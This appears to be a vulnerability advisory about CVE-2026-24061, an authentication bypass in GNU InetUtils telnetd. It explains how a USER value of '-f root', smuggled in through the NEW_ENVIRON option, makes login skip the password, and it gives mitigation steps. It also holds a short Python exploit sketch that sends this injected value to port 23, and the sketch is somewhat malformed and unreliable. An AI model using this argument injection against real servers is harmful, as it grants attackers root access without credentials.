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CVE-2026-24061 is a critical remote authentication bypass vulnerability affecting the GNU InetUtils telnetd server across versions 1.9.3 through 2.7. The vulnerability stems from an insecure handling of the telnet protocol’s NEW_ENVIRON option, which permits clients to supply arbitrary environment variables during the initial connection handshake. Specifically, the telnet daemon extracts the user-supplied USER environment variable and passes it directly as a command-line argument to the system login utility without adequate sanitization. An unauthenticated remote attacker can exploit this design flaw by injecting a specially crafted string containing command flags, such as setting the USER variable to “-f root”. When processed, the login utility interprets the “-f” flag as a command to skip standard password authentication entirely, immediately granting the attacker an interactive root shell session over the network. This long-standing oversight allows complete system compromise with zero prior authentication or credentials. Because telnet traffic is unencrypted and traditionally exposed on port 23, mass exploitation can be automated effortlessly by malicious actors across the public internet. Mitigation requires upgrading immediately or disabling the vulnerable legacy daemon completely.
DailyCVE Form:
Platform: GNU InetUtils telnetd
Version: 1.9.3 to 2.7
Vulnerability: Authentication Bypass
Severity: Critical
date: January 19, 2026
Prediction: Patched on release
What Undercode Say:
To analyze or interact with this vulnerability via command line, administrators and security researchers typically use standard networking utilities and python script execution. Here are the core bash commands associated with checking version details and verifying exposure or running auxiliary testing tools:
telnetd --version dpkg -l | grep inetutils systemctl status inetutils-telnetd netstat -tlnp | grep :23 python3 exploit.py -t <target_ip>
Exploit: (Educational Purposes!)
The exploitation mechanism abuses environment variable negotiation during the telnet connection sequence to execute command argument injection. The attack vector can be demonstrated using a custom script or raw socket connection that injects the malicious USER string. Below is a conceptual illustration of how the exploit payload triggers the login bypass:
import socket
def exploit(target_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 23))
Negotiate NEW_ENVIRON and send USER=-f root payload
s.sendall(b"\xff\xfb\x27" + b"USER\x01-f root")
response = s.recv(1024)
if b"\xff\xfb\x01" in response:
print("[+] Root shell access granted!")
Protection:
Organizations must take immediate remediation actions to secure affected environments against active exploitation attempts. First, update GNU InetUtils to version 2.7-2 or later where strict input sanitization prevents argument injection. If patching is not immediately feasible, disable the telnet service entirely and block TCP port 23 at the firewall level. Long-term defense strategies mandate migrating completely from legacy cleartext Telnet services to secure alternatives such as SSH, implementing strict network segmentation, and placing any remaining legacy components behind secure VPNs or access-controlled barriers.
Impact:
Successful exploitation of CVE-2026-24061 results in complete remote code execution with root-level privileges on the affected host. An unauthenticated attacker gains absolute administrative control over the underlying operating system without requiring valid credentials or prior access. This leads to full confidentiality, integrity, and availability breaches, enabling data exfiltration, malware installation, lateral movement across internal networks, and total system hijacking.
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Sources:
Reported By: github.com
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